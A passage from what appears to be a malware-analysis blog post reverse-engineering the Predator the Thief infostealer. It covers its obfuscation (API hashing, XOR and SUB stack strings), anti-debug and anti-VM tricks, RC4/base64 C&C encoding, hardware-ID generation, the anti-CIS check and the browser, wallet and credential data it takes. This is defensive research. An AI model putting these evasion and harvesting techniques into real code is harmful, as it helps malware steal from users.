the PEB retrieved by spotting fs[0x30] behind some extra instructions.&#10;&#10;&lt;img class=" size-full wp-image-894 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/11/predator-getmodulehandle-01.webp" alt="Screenshot: Predator getmodulehandle 01" width="827" height="111" loading="lazy" decoding="async" /&gt;&#10;&#10;then from it, the loader data section is requested for two things:&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Getting the InLoadOrderModuleList pointer&lt;/li&gt;&#10;&#9;&lt;li&gt;Getting the InMemoryOrderModuleList pointer&lt;/li&gt;&#10;&lt;/ul&gt;&#10;For those who are unfamiliar by this, basically, the PEB_LDR_DATA is a structure is where is stored all the information related to the loaded modules of the process.&#10;&#10;Then, a loop is performing a basic search on every entry of the module list but in "memory order" on the loader data, by retrieving the module name, generating a hash of it and when it's done, it is compared with a hardcoded obfuscated hash of the kernel32 module and obviously, if it matches, the module base address is saved, if it's not, the process is repeated again and again.&#10;&#10;&lt;figure&gt;&lt;img class="alignnone wp-image-893" src="https://fumik0.com/wp-content/uploads/2019/11/predator-getmodulehandle-02.webp" alt="The XOR kernel32 hashes compared with the one created" width="827" height="197" loading="lazy" decoding="async" /&gt;&lt;figcaption&gt;The XOR kernel32 hashes compared with the one created&lt;/figcaption&gt;&lt;/figure&gt;&#10;&#10;Nowadays, using hashes for a function name or module name is something that you can see in many other malware, purposes are multiple and this is one of the ways to hide some actions. An example of this code behavior could be found easily on the internet and as I said above, this one is popular and already used.&#10;&lt;h4&gt;GetProcAddress / GetLoadLibrary&lt;/h4&gt;&#10;Always followed by GetModuleAddress, the code for recreating GetProcAddress is by far the same architecture model than the v2, in term of the concept used. If the function is forwarded, it will basically perform a recursive call of itself by getting the forward address, checking if the library is loaded then call GetProcAddress again with new values.&#10;&lt;h4&gt;Xor everything&lt;/h4&gt;&#10;It's almost unnecessary to talk about it, but as in-depth analysis, if you have never read the other article before, it's always worth to say some words on the subject (as a reminder). The XOR encryption is a common cipher that required a rudimentary implementation for being effective :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Only one operator is used (XOR)&lt;/li&gt;&#10;&#9;&lt;li&gt;it's not consuming resources.&lt;/li&gt;&#10;&#9;&lt;li&gt;It could be used as a component of other ciphers&lt;/li&gt;&#10;&lt;/ul&gt;&#10;This one is extremely popular in malware and the goal is not really to produce strong encryption because it's ridiculously easy to break most of the time, they are used for hiding information or keywords that could be triggering alerts, rules...&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Communication between host &amp;amp; server&lt;/li&gt;&#10;&#9;&lt;li&gt;Hiding strings&lt;/li&gt;&#10;&#9;&lt;li&gt;Or... simply used as an absurd step for obfuscating the code&lt;/li&gt;&#10;&#9;&lt;li&gt;etc...&lt;/li&gt;&#10;&lt;/ul&gt;&#10;A typical example in Predator could be seeing huge blocks with only two instructions (XOR &amp;amp; MOV), where stacks strings are decrypted X bytes per X bytes by just moving content on a temporary value (stored on EAX), XORed then pushed back to EBP, and the principle is reproduced endlessly again and again. This is rudimentary, In this scenario, it's just part of the obfuscation process heavily abused by predator, for having an absurd amount of instruction for simple things.&#10;&#10;&lt;img class=" size-full wp-image-883 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/11/predator-xor-01.webp" alt="The XOR kernel32 hashes compared with the one created" width="599" height="364" loading="lazy" decoding="async" /&gt;&#10;&#10;Also for some cases, When a hexadecimal/integer value is required for an API call, it could be possible to spot another pattern of a hardcoded string moved to a register then only one XOR instruction is performed for revealing the correct value, this trivial thing is used for some specific cases like the correct position in the TEB for retrieving the PEB, an RVA of a specific module, ...&#10;&#10;&lt;img class=" size-full wp-image-908 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/11/predator-ntsetinformationthread.webp" alt="The XOR kernel32 hashes compared with the one created" width="941" height="89" loading="lazy" decoding="async" /&gt;&#10;&#10;Finally, the most common one, there is also the classic one used by using a for loop for a one key length XOR key, seen for decrypting modules, functions, and other things...&#10;&lt;pre&gt;str = ... # encrypted string&#10;&#10;for i, s in enumerate(str):&#10; s[i] = s[i] ^ s[len(str)-1]&lt;/pre&gt;&#10;&lt;h4&gt;Sub everything&lt;/h4&gt;&#10;Let's consider this as a perfect example of "let's do the same exact thing by just changing one single instruction", so in the end, a new encryption method is used with no effort for the development. That's how a SUB instruction is used for doing the substitution cipher. The only difference that I could notice it's how the key is retrieved.&#10;&#10;&lt;img class=" size-full wp-image-890 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/11/predator-sub-02.webp" alt="The XOR kernel32 hashes compared with the one created" width="1088" height="276" loading="lazy" decoding="async" /&gt;&#10;&#10;Besides having something hardcoded directly, a signed 32-bit division is performed, easily noticeable by the use of cdq &amp;amp; idiv instructions, then the dl register (the remainder) is used for the substitution.&#10;&lt;h4&gt;Stack Strings&lt;/h4&gt;&#10;&lt;img class=" size-full wp-image-951 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/12/predator-stack-strings.webp" alt="stack strings" width="809" height="876" loading="lazy" decoding="async" /&gt;&#10;&lt;h4&gt;What's the result in the end?&lt;/h4&gt;&#10;Merging these obfuscation techniques leads to a nonsense amount of instructions for a basic task, which will obviously burn you some hours of analysis if you don't take some time for cleaning a bit all that mess with the help of some scripts or plenty other ideas, that could trigger in your mind. It could be nice to see these days some scripts released by the community.&#10;&#10;&lt;figure&gt;&lt;img class=" size-full wp-image-905 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/11/predator-main.webp" alt="Simple tricks lead to nonsense code" width="903" height="1105" loading="lazy" decoding="async" /&gt;&lt;figcaption&gt;Simple tricks lead to nonsense code&lt;/figcaption&gt;&lt;/figure&gt;&#10;&lt;h2&gt;Anti-Debug&lt;/h2&gt;&#10;There are plenty of techniques abused here that was not in the first analysis, this is not anymore a simple PEB.BeingDebugged or checking if you are running a virtual machine, so let's dig into them. one per one except CheckRemoteDebugger! This one is enough to understand by itself :')&#10;&#10;&lt;strong&gt;NtSetInformationThread&lt;/strong&gt;&#10;&#10;One of the oldest tricks in windows and still doing its work over the years. Basically in a very simple way (because there is a lot thing happening during the process), NtSetInformationThread is called with a value (0x11) obfuscated by a XOR operator. This parameter is a ThreadInformationClass with a specific enum called ThreadHideFromDebugger and when it's executed, the debugger is not able to catch any debug information. So the supposed pointer to the corresponding thread is, of course, the malware and when you are analyzing it with a debugger, it will result to detach itself.&#10;&#10;&lt;img class=" size-full wp-image-914 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/11/predator-ntsetinformationthread-2.webp" alt="Simple tricks lead to nonsense code" width="941" height="217" loading="lazy" decoding="async" /&gt;&#10;&lt;h4&gt;CloseHandle/NtClose&lt;/h4&gt;&#10;Inside WinMain, a huge function is called with a lot of consecutive anti-debug tricks, they were almost all indirectly related to some techniques patched by TitanHide (or strongly looks like), the first one performed is a really basic one, but pretty efficient to do the task.&#10;&#10;Basically, when CloseHandle is called with an inexistent handle or an invalid one, it will raise an exception and whenever you have a debugger attached to the process, it will not like that at all. To guarantee that it's not an issue for a normal interaction a simple __try / __except method is used, so if this API call is requested, it will safely lead to the end without any issue.&#10;&#10;&lt;img class=" size-full wp-image-909 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/11/predator-closehandle.webp" alt="Simple tricks lead to nonsense code" width="1092" height="198" loading="lazy" decoding="async" /&gt;&#10;&#10;The invalid handle used here is a static one and it's L33T code with the value &lt;em&gt;0xBAADAA55 &lt;/em&gt;and makes me bored as much as this face.&#10;&#10;&lt;dl id="attachment_923" class="wp-caption aligncenter" style="width: 470px;"&gt;&lt;dt class="wp-caption-dt"&gt;&lt;img class=" wp-image-923 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/11/predator-not-amused.webp" alt="Simple tricks lead to nonsense code" width="470" height="264" loading="lazy" decoding="async" /&gt;&lt;/dt&gt;&lt;/dl&gt;That's not a surprise to see stuff like this from the malware developer. Inside jokes, l33t values, animes and probably other content that I missed are something usual to spot on Predator.&#10;&#10;&lt;strong&gt;ProcessDebugObjectHandle&lt;/strong&gt;&#10;&#10;When you are debugging a process, Microsoft Windows is creating a "Debug" object and a handle corresponding to it. At this point, when you want to check if this object exists on the process, NtQueryInformationProcess is used with the ProcessInfoClass initialized by  0x1e (that is in fact, ProcessDebugObjectHandle).&#10;&#10;&lt;img class=" size-full wp-image-925 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/11/predator-antidebug.webp" alt="Simple tricks lead to nonsense code" width="772" height="230" loading="lazy" decoding="async" /&gt;&#10;&#10;In this case, the NTStatus value (returning result by the API call) is an error who as the ID 0xC0000353, aka STATUS_PORT_NOT_SET. This means, &lt;em&gt;"An attempt to remove a process's DebugPort was made, but a port was not already associated with the process.". &lt;/em&gt;The anti-debug trick is to verify if this error is there, that's all.&#10;&#10;&lt;strong&gt;NtGetContextThread&lt;/strong&gt;&#10;&#10;This one is maybe considered as pretty wild if you are not familiar with some hardware breakpoints. Basically, there are some registers that are called "&lt;strong&gt;&lt;span style="color: #ff0000;"&gt;D&lt;/span&gt;&lt;/strong&gt;ebug &lt;span style="color: #ff0000;"&gt;&lt;strong&gt;R&lt;/strong&gt;&lt;/span&gt;egister" and they are using the &lt;strong&gt;&lt;span style="color: #ff0000;"&gt;DR&lt;/span&gt;&lt;/strong&gt;X nomenclature  (DR0 to DR7). When GetThreadContext is called, the function will retrieve al the context information from a thread.&#10;&#10;For those that are not familiar with a context structure, it contains all the register data from the corresponding element. So, with this data in possession, it only needs to check if those DRX registers are initiated with a value not equal to 0.&#10;&#10;&lt;img class=" size-full wp-image-915 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/11/predator-getthreadcontext.webp" alt="Simple tricks lead to nonsense code" width="899" height="191" loading="lazy" decoding="async" /&gt;&#10;&#10;On the case here, it's easily spottable to see that 4 registers are checked&#10;&lt;pre&gt;&lt;span class="pl-k"&gt;if&lt;/span&gt; (ctx-&amp;gt;&lt;span class="pl-smi"&gt;Dr0&lt;/span&gt; != &lt;span class="pl-c1"&gt;0&lt;/span&gt; || ctx-&amp;gt;&lt;span class="pl-smi"&gt;Dr1&lt;/span&gt; != &lt;span class="pl-c1"&gt;0&lt;/span&gt; || ctx-&amp;gt;&lt;span class="pl-smi"&gt;Dr2&lt;/span&gt; != &lt;span class="pl-c1"&gt;0&lt;/span&gt; || ctx-&amp;gt;&lt;span class="pl-smi"&gt;Dr3&lt;/span&gt; != &lt;span class="pl-c1"&gt;0&lt;/span&gt;)&lt;/pre&gt;&#10;&lt;strong&gt;Int 3 breakpoint&lt;/strong&gt;&#10;&#10;int 3 (or Interrupt 3) is a popular opcode to force the debugger to stop at a specific offset. As said in the title, this is a breakpoint but if it's executed without any debugging environment, the exception handler is able to deal with this behavior and will continue to run without any issue. Unless I missed something, here is the scenario.&#10;&#10;&lt;img class=" size-full wp-image-910 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/11/predator-breakpoint.webp" alt="Simple tricks lead to nonsense code" width="953" height="157" loading="lazy" decoding="async" /&gt;&#10;&#10;By the way,  as another scenario used for this one (the int 3), the number of this specific opcode triggered could be also used as an incremented counter, if the counter is above a specific value, a simplistic condition is sufficient to check if it's executed into a debugger in that way.&#10;&lt;h4&gt;Debug Condition&lt;/h4&gt;&#10;With all the techniques explained above, in the end, they all lead to a final condition step if of course, the debugger hasn't crashed. The checking task is pretty easy to understand and it remains to a simple operation: "setting up a value to EAX during the anti-debug function", if everything is correct this register will be set to zero, if not we could see all the different values that could be possible.&#10;&#10;&lt;figure&gt;&lt;img class="alignnone size-full wp-image-918" src="https://fumik0.com/wp-content/uploads/2019/11/predator-anti-debug-condition.webp" alt="bloc in red is the correct condition over all the anti-debug tests" width="1298" height="231" loading="lazy" decoding="async" /&gt;&lt;figcaption&gt;bloc in red is the correct condition over all the anti-debug tests&lt;/figcaption&gt;&lt;/figure&gt;&#10;&#10;...And when the Anti-Debug function is done, the register EAX is checked by the test operator, so the ZF flag is determinant for entering into the most important loop that contains the main function of the stealer.&#10;&#10;&lt;img class=" size-full wp-image-919 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/11/predator-anti-debug-02.webp" alt="bloc in red is the correct condition over all the anti-debug tests" width="773" height="89" loading="lazy" decoding="async" /&gt;&#10;&lt;h2&gt;Anti-VM&lt;/h2&gt;&#10;The Anti VM is presented as an option in Predator and is performed just after the first C&amp;amp;C requests.&#10;&#10;&lt;img class=" size-full wp-image-978 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/12/anti-vm-predator-option.webp" alt="Anti-VM-Predator-Option" width="1231" height="323" loading="lazy" decoding="async" /&gt;&#10;&#10;Tricks used are pretty olds and basically using Anti-VM Instructions&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;SIDT&lt;/li&gt;&#10;&#9;&lt;li&gt;SGDT&lt;/li&gt;&#10;&#9;&lt;li&gt;STR&lt;/li&gt;&#10;&#9;&lt;li&gt;CPUID (Hypervisor Trick)&lt;/li&gt;&#10;&lt;/ul&gt;&#10;By curiosity, this option is not by default performed if the C&amp;amp;C is not reachable.&#10;&lt;h2&gt;Paranoid &amp;amp; Organized Predator&lt;/h2&gt;&#10;When entering into the "big main function", the stealer is doing "again" extra validations if you have a valid payload (and not a modded one), you are running it correctly and being sure again that you are not analyzing it.&#10;&#10;This kind of paranoid checking step is a result of the multiple cases of cracked builders developed and released in the wild (mostly or exclusively at a time coming from XakFor.Net). Pretty wild and fun to see when Anti-Piracy protocols are also seen in the malware scape.&#10;&#10;Then the malware is doing a classic organized setup to perform all the requested actions and could be represented in that way.&#10;&#10;&lt;img class=" size-full wp-image-1092 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/12/predator-roadmap.webp" alt="bloc in red is the correct condition over all the anti-debug tests" width="721" height="1041" loading="lazy" decoding="async" /&gt;&#10;&#10;Of course as usual and already a bit explained in the first paper, the C&amp;amp;C domain is retrieved in a table of function pointers before the execution of the WinMain function (where the payload is starting to do tasks).&#10;&#10;&lt;img class=" size-full wp-image-1093 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/12/predator-initerm.webp" alt="bloc in red is the correct condition over all the anti-debug tests" width="907" height="214" loading="lazy" decoding="async" /&gt;&#10;&#10;You can see easily all the functions that will be called based on the starting location (__xc_z) and the ending location (__xc_z).&#10;&#10;&lt;img class=" size-full wp-image-1094 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/12/predator-pointer-c2.webp" alt="bloc in red is the correct condition over all the anti-debug tests" width="789" height="246" loading="lazy" decoding="async" /&gt;&#10;&#10;Then you can spot easily the XOR strings that hide the C&amp;amp;C domain like the usual old predator malware.&#10;&#10;&lt;img class=" size-full wp-image-1095 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/12/predator-xor-c2-domain.webp" alt="bloc in red is the correct condition over all the anti-debug tests" width="817" height="383" loading="lazy" decoding="async" /&gt;&#10;&lt;h2&gt;Data Encryption &amp;amp; Encoding&lt;/h2&gt;&#10;Besides using XOR almost absolutely everywhere, this info stealer is using a mix of RC4 encryption and base64 encoding whenever it is receiving data from the C&amp;amp;C. Without using specialized tools or paid versions of IDA (or whatever other software), it could be a bit challenging to recognize it (when you are a junior analyst), due to some modification of some part of the code.&#10;&lt;h3&gt;Base64&lt;/h3&gt;&#10;For the Base64 functions, it's extremely easy to spot them, with the symbol values on the register before and after calls. The only thing to notice with them, it's that they are using a typical signature... A whole bloc of XOR stack strings, I believed that this trick is designed to hide an eventual Base64 alphabet from some Yara rules.&#10;&#10;&lt;img class=" size-full wp-image-1000 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/12/predator-base64-xored.webp" alt="bloc in red is the correct condition over all the anti-debug tests" width="1326" height="539" loading="lazy" decoding="async" /&gt;&#10;&#10;By the way, the rest of the code remains identical to standard base64 algorithms.&#10;&lt;h3&gt;RC4&lt;/h3&gt;&#10;For RC4, things could be a little bit messy if you are not familiar at all with encryption algorithm on a disassembler/debugger, for some cases it could be hell, for some case not. Here, it's, in fact, this amount of code for performing the process.&#10;&#10;&lt;img class=" size-full wp-image-1001 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/12/predator-rc4.webp" alt="Disassembler graph of the RC4 routine used by Predator the Thief" width="883" height="691" loading="lazy" decoding="async" /&gt;&#10;&#10;Blocs are representing the Generation of the array S, then performing the Key-Scheduling Algorithm (KSA) by using a specific secret key that is, in fact, the C&amp;amp;C domain! (if there is no domain, but an IP hardcoded, this IP is the secret key), then the last one is the Pseudo-random generation algorithm (PRGA).&#10;&#10;For more info, some resources about this algorithm below:&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://stackoverflow.com/questions/29607753/how-to-decrypt-a-file-that-encrypted-with-rc4-using-python" target="_blank" rel="noopener noreferrer"&gt;Stack Overflow example&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/RC4#Key-scheduling_algorithm_(KSA)" target="_blank" rel="noopener noreferrer"&gt;RC4 Algorithm (Wikipedia)&lt;/a&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2&gt;Mutex &amp;amp; Hardware ID&lt;/h2&gt;&#10;The Hardware ID (HWID) and mutex are related, and the generation is quite funky,  I would say, even if most of the people will consider this as something not important to investigate, I love small details in malware, even if their role is maybe meaningless, but for me, every detail counts no matter what (even the stupidest one).&#10;&#10;Here the hardware ID generation is split into 3 main parts. I had a lot of fun to understand how this one was created.&#10;&#10;First, it will grab all the available logical drives on the compromised machine, and for each of them, the serial number is saved into a temporary variable. Then, whenever a new drive is found, the hexadecimal value is added to it. so basically if the two drives have the serial number "44C5-F04D" and "1130-DDFF", so ESI will receive 0x44C5F04D then will add 0x1130DFF.&#10;&#10;When it's done, this value is put into a while loop that will divide the value on ESI by 0xA and saved the remainder into another temporary variable, the loop condition breaks when ESI is below 1. Then the results of this operation are saved, duplicated and added to itself the last 4 bytes (i.e 1122334455 will be 1122334455&lt;span style="color: #ff0000;"&gt;&lt;strong&gt;22334455&lt;/strong&gt;&lt;/span&gt;).&#10;&#10;If this is not sufficient, the value is put into another loop for performing this operation.&#10;&lt;pre&gt;for i, s in enumerate(str):&#10; if i &amp;amp; 1:&#10; a += chr(s) + 0x40&#10; else:&#10; a += chr(s)&lt;/pre&gt;&#10;It results in the creation of an alphanumeric string that will be the archive filename used during the POST request to the C&amp;amp;C.&#10;&#10;&lt;figure&gt;&lt;img class="alignnone size-full wp-image-922" src="https://fumik0.com/wp-content/uploads/2019/11/predator-mutex.webp" alt="the generated hardware ID based on the serial number devices" width="831" height="229" loading="lazy" decoding="async" /&gt;&lt;figcaption&gt;the generated hardware ID based on the serial number devices&lt;/figcaption&gt;&lt;/figure&gt;&#10;&#10;But wait! there is more... This value is in part of the creation of the mutex name... with a simple base64 operation on it and some bit operand operation for cutting part of the base64 encoding string for having finally the mutex name!&#10;&lt;h2&gt;Anti-CIS&lt;/h2&gt;&#10;A classic thing in malware, this feature is used for avoiding infecting machines coming from the Commonwealth of Independent States (CIS) by using a simple API call GetUserDefaultLangID.&#10;&#10;&lt;img class=" size-full wp-image-984 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/12/predator-anti-cis.webp" alt="the generated hardware ID based on the serial number devices" width="1280" height="1194" loading="lazy" decoding="async" /&gt;&#10;&#10;The value returned is the language identifier of the region format setting for the user and checked by a lot of specific language identifier, of courses in every situation, all the values that are tested, are encrypted.&#10;&lt;table border="0" cellspacing="0"&gt;&lt;colgroup width="136"&gt;&lt;/colgroup&gt; &lt;colgroup width="332"&gt;&lt;/colgroup&gt; &lt;colgroup width="219"&gt;&lt;/colgroup&gt;&#10;&lt;tbody&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;&lt;span style="font-family: Liberation Serif;"&gt;Language ID&lt;/span&gt;&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;span style="font-family: Liberation Serif;"&gt;SubLanguage Symbol&lt;/span&gt;&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;span style="font-family: Liberation Serif;"&gt;Country&lt;/span&gt;&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;0x0419&lt;/td&gt;&#10;&lt;td align="left"&gt;SUBLANG_RUSSIAN_RUSSIA&lt;/td&gt;&#10;&lt;td align="left"&gt;Russia&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;0x042b&lt;/td&gt;&#10;&lt;td align="left"&gt;SUBLANG_ARMENIAN_ARMENIA&lt;/td&gt;&#10;&lt;td align="left"&gt;Armenia&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;0x082c&lt;/td&gt;&#10;&lt;td align="left"&gt;SUBLANG_AZERI_CYRILLIC&lt;/td&gt;&#10;&lt;td align="left"&gt;Azerbaijan&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;0x042c&lt;/td&gt;&#10;&lt;td align="left"&gt;SUBLANG_AZERI_LATIN&lt;/td&gt;&#10;&lt;td align="left"&gt;Azerbaijan&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;0x0423&lt;/td&gt;&#10;&lt;td align="left"&gt;SUBLANG_BELARUSIAN_BELARUS&lt;/td&gt;&#10;&lt;td align="left"&gt;Belarus&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;0x0437&lt;/td&gt;&#10;&lt;td align="left"&gt;SUBLANG_GEORGIAN_GEORGIA&lt;/td&gt;&#10;&lt;td align="left"&gt;Georgia&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;0x043f&lt;/td&gt;&#10;&lt;td align="left"&gt;SUBLANG_KAZAK_KAZAKHSTAN&lt;/td&gt;&#10;&lt;td align="left"&gt;Kazakhstan&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;0x0428&lt;/td&gt;&#10;&lt;td align="left"&gt;SUBLANG_TAJIK_TAJIKISTAN&lt;/td&gt;&#10;&lt;td align="left"&gt;Tajikistan&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;0x0442&lt;/td&gt;&#10;&lt;td align="left"&gt;SUBLANG_TURKMEN_TURKMENISTAN&lt;/td&gt;&#10;&lt;td align="left"&gt;Turkmenistan&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;0x0843&lt;/td&gt;&#10;&lt;td align="left"&gt;SUBLANG_UZBEK_CYRILLIC&lt;/td&gt;&#10;&lt;td align="left"&gt;Uzbekistan&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;0x0443&lt;/td&gt;&#10;&lt;td align="left"&gt;SUBLANG_UZBEK_LATIN&lt;/td&gt;&#10;&lt;td align="left"&gt;Uzbekistan&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;0x0422&lt;/td&gt;&#10;&lt;td align="left"&gt;SUBLANG_UKRAINIAN_UKRAINE&lt;/td&gt;&#10;&lt;td align="left"&gt;Ukraine&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;h2&gt;Files, files where are you?&lt;/h2&gt;&#10;When I reversed for the first time this stealer, files and malicious archive were stored on the disk then deleted. But right now, this is not the case anymore. Predator is managing all the stolen data into memory for avoiding as much as possible any extra traces during the execution.&#10;&#10;Predator is nowadays creating in memory a lot of allocated pages and temporary files that will be used for interactions with real files that exist on the disk. Most of the time it's basically getting handles, size and doing some operation for opening, grabbing content and saving them to a place in memory. &lt;em&gt;&lt;strong&gt;This explanation is summarized in a "very" simplify way because there are a lot of cases and scenarios to manage this. &lt;/strong&gt;&lt;/em&gt;&#10;&#10;Another point to notice is that the archive (using ZIP compression), is also created in memory by selecting folder/files.&#10;&#10;&lt;figure&gt;&lt;img class="alignnone size-full wp-image-1089" src="https://fumik0.com/wp-content/uploads/2019/12/predator-zip-generation-02.webp" alt="The generated archive in memory" width="733" height="305" loading="lazy" decoding="async" /&gt;&lt;figcaption&gt;The generated archive in memory&lt;/figcaption&gt;&lt;/figure&gt;&#10;&#10;It doesn't mean that the whole architecture for the files is different, it's the same format as before.&#10;&#10;&lt;figure&gt;&lt;img class="alignnone size-full wp-image-935" src="https://fumik0.com/wp-content/uploads/2019/12/predator-default-archive.webp" alt="an example of archive intercepted during the C&amp;amp;C Communication" width="685" height="373" loading="lazy" decoding="async" /&gt;&lt;figcaption&gt;an example of archive intercepted during the C&amp;amp;C Communication&lt;/figcaption&gt;&lt;/figure&gt;&#10;&lt;h2&gt;Stealing&lt;/h2&gt;&#10;After explaining this many times about how this stuff, the fundamental idea is boringly the same for every stealer:&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Check&lt;/li&gt;&#10;&#9;&lt;li&gt;Analyzing (optional)&lt;/li&gt;&#10;&#9;&lt;li&gt;Parsing (optional)&lt;/li&gt;&#10;&#9;&lt;li&gt;Copy&lt;/li&gt;&#10;&#9;&lt;li&gt;Profit&lt;/li&gt;&#10;&#9;&lt;li&gt;Repeat&lt;/li&gt;&#10;&lt;/ul&gt;&#10;What could be different behind that, is how they are obfuscating the files or values to check... and guess what... every malware has their specialties (whenever they are not decided to copy the same piece of code on Github or some whatever generic .NET stealer) and in the end, there is no black magic, just simple (or complex) enigma to solve. As a malware analyst, when you are starting into analyzing stealers, you want literally to understand everything, because everything is new, and with the time, you realized the routine performed to fetch the data and how stupid it is working well (as reminder, it might be not always that easy for some highly specific stuff).&#10;&#10;In the end, you just want to know the targeted software, and only dig into those you haven't seen before, but every time the thing is the same:&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Checking dumbly a path&lt;/li&gt;&#10;&#9;&lt;li&gt;Checking a register key to have the correct path of a software&lt;/li&gt;&#10;&#9;&lt;li&gt;Checking a shortcut path based on an icon&lt;/li&gt;&#10;&#9;&lt;li&gt;etc...&lt;/li&gt;&#10;&lt;/ul&gt;&#10;Beside that Predator the Thief is stealing a lot of different things:&#10;&lt;ol&gt;&#10;&#9;&lt;li&gt;Grabbing content from Browsers (Cookies, History, Credentials)&lt;/li&gt;&#10;&#9;&lt;li&gt;Harvesting/Fetching Credit Cards&lt;/li&gt;&#10;&#9;&lt;li&gt;Stealing sensible information &amp;amp; files from Crypto-Wallets&lt;/li&gt;&#10;&#9;&lt;li&gt;Credentials from FTP Software&lt;/li&gt;&#10;&#9;&lt;li&gt;Data coming from Instant communication software&lt;/li&gt;&#10;&#9;&lt;li&gt;Data coming from Messenger software&lt;/li&gt;&#10;&#9;&lt;li&gt;2FA Authenticator software&lt;/li&gt;&#10;&#9;&lt;li&gt;Fetching Gaming accounts&lt;/li&gt;&#10;&#9;&lt;li&gt;Credentials coming from VPN software&lt;/li&gt;&#10;&#9;&lt;li&gt;Grabbing specific files (also dynamically)&lt;/li&gt;&#10;&#9;&lt;li&gt;Harvesting all the information from the computer (Specs, Software)&lt;/li&gt;&#10;&#9;&lt;li&gt;Stealing Clipboard (if during the execution of it, there is some content)&lt;/li&gt;&#10;&#9;&lt;li&gt;Making a picture of yourself (if your webcam is connected)&lt;/li&gt;&#10;&#9;&lt;li&gt;Making screenshot of your desktop&lt;/li&gt;&#10;&#9;&lt;li&gt;It could also include a Clipper (as a modular feature).&lt;/li&gt;&#10;&#9;&lt;li&gt;And... due to the module manager, other tasks that I still don't have mentioned there (that also I don't know who they are).&lt;/li&gt;&#10;&lt;/ol&gt;&#10;Let's explain just some of them that I found worth to dig into.&#10;&lt;h3&gt;Browsers&lt;/h3&gt;&#10;Since my last analysis, things changed for the browser part and it's now divided into three major parts.&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Internet Explorer is analyzed in a specific function developed due that the data is contained into a "Vault", so it requires a specific Windows API to read it.&lt;/li&gt;&#10;&#9;&lt;li&gt;Microsoft Edge is also split into another part of the stealing process due that this one is using unique files and needs some tasks for the parsing.&lt;/li&gt;&#10;&#9;&lt;li&gt;Then, the other browsers are fetched by using a homemade static grabber&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;img class=" size-full wp-image-948 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/12/predator-browsers.webp" alt="Browsers" width="681" height="261" loading="lazy" decoding="async" /&gt;&#10;&lt;h3&gt;&lt;strong&gt;Grabber n°1 (The generic one)&lt;/strong&gt;&lt;/h3&gt;&#10;It's pretty fun to see that the stealing process is using at least one single function for catching a lot of things. This generic grabber is pretty "cleaned" based on what I saw before even if there is no magic at all, it's sufficient to make enough damages by using a recursive loop at a specific place that will search all the required files &amp;amp; folders.&#10;&#10;By comparing older versions of predator, when it was attempting to steal content from browsers and some wallets, it was checking step by step specific repositories or registry keys then processing into some loops and tasks for fetching the credentials. Nowadays, this step has been removed (for the browser part) and being part of this raw grabber that will parse everything starting to %USERS% repository.&#10;&#10;&lt;img class=" size-full wp-image-939 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/12/predator-grabber.webp" alt="grabber" width="749" height="648" loading="lazy" decoding="async" /&gt;&#10;&#10;As usual, all the variables that contain required files are obfuscated and encrypted by a simple XOR algorithm and in the end, this is the "static" list that the info stealer will be focused&#10;&lt;table border="0" cellspacing="0"&gt;&lt;colgroup width="155"&gt;&lt;/colgroup&gt; &lt;colgroup 